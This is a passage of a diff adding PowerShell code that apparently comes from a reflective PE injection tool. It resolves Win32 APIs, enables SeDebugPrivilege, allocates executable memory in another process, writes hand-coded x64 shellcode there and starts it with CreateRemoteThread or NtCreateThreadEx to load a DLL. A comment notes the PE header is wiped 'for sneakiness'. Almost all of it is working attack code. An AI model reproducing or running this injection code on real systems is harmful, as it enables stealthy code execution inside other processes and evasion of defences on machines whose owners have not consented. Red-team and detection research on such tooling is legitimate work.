[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory + + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread + + $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread + $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) + $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread + + $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken + $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) + $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken + + $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread + $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) + $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread + + $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges + $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) + $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges + + $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA + $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) + $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue + + $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf + $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) + $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf + + $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx + $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) + $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx + + $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process + + $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread + $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) + $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread + + return $Win32Functions + } + ##################################### + + + ##################################### + ########### HELPERS ############ + ##################################### + + #Powershell only does signed arithmetic, so if we want to calculate memory addresses we have to use this function + #This will add signed integers as if they were unsigned integers so we can accurately calculate memory addresses + Function Sub-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + $Val = $Value1Bytes[$i] - $CarryOver + #Sub bytes + if ($Val -lt $Value2Bytes[$i]) + { + $Val += 256 + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + + + [UInt16]$Sum = $Val - $Value2Bytes[$i] + + $FinalBytes[$i] = $Sum -band 0x00FF + } + } + else + { + Throw "Cannot subtract bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Add-SignedIntAsUnsigned + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + $CarryOver = 0 + for ($i = 0; $i -lt $Value1Bytes.Count; $i++) + { + #Add bytes + [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver + + $FinalBytes[$i] = $Sum -band 0x00FF + + if (($Sum -band 0xFF00) -eq 0x100) + { + $CarryOver = 1 + } + else + { + $CarryOver = 0 + } + } + } + else + { + Throw "Cannot add bytearrays of different sizes" + } + + return [BitConverter]::ToInt64($FinalBytes, 0) + } + + + Function Compare-Val1GreaterThanVal2AsUInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Int64] + $Value1, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $Value2 + ) + + [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) + [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) + + if ($Value1Bytes.Count -eq $Value2Bytes.Count) + { + for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) + { + if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) + { + return $true + } + elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) + { + return $false + } + } + } + else + { + Throw "Cannot compare byte arrays of different size" + } + + return $false + } + + + Function Convert-UIntToInt + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt64] + $Value + ) + + [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) + return ([BitConverter]::ToInt64($ValueBytes, 0)) + } + + + Function Test-MemoryRangeValid + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [String] + $DebugString, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(ParameterSetName = "EndAddress", Position = 3, Mandatory = $true)] + [IntPtr] + $EndAddress, + + [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] + [IntPtr] + $Size + ) + + [IntPtr]$FinalEndAddress = [IntPtr]::Zero + if ($PsCmdlet.ParameterSetName -eq "Size") + { + [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) + } + else + { + $FinalEndAddress = $EndAddress + } + + $PEEndAddress = $PEInfo.EndAddress + + if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) + { + Throw "Trying to write to memory smaller than allocated address range. $DebugString" + } + if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) + { + Throw "Trying to write to memory greater than allocated address range. $DebugString" + } + } + + + Function Write-BytesToMemory + { + Param( + [Parameter(Position=0, Mandatory = $true)] + [Byte[]] + $Bytes, + + [Parameter(Position=1, Mandatory = $true)] + [IntPtr] + $MemoryAddress + ) + + for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) + { + [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) + } + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + + Function Invoke-CreateRemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Verbose "Error creating remote thread, thread handle is null" + } + + return $RemoteThreadHandle + } + + + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + 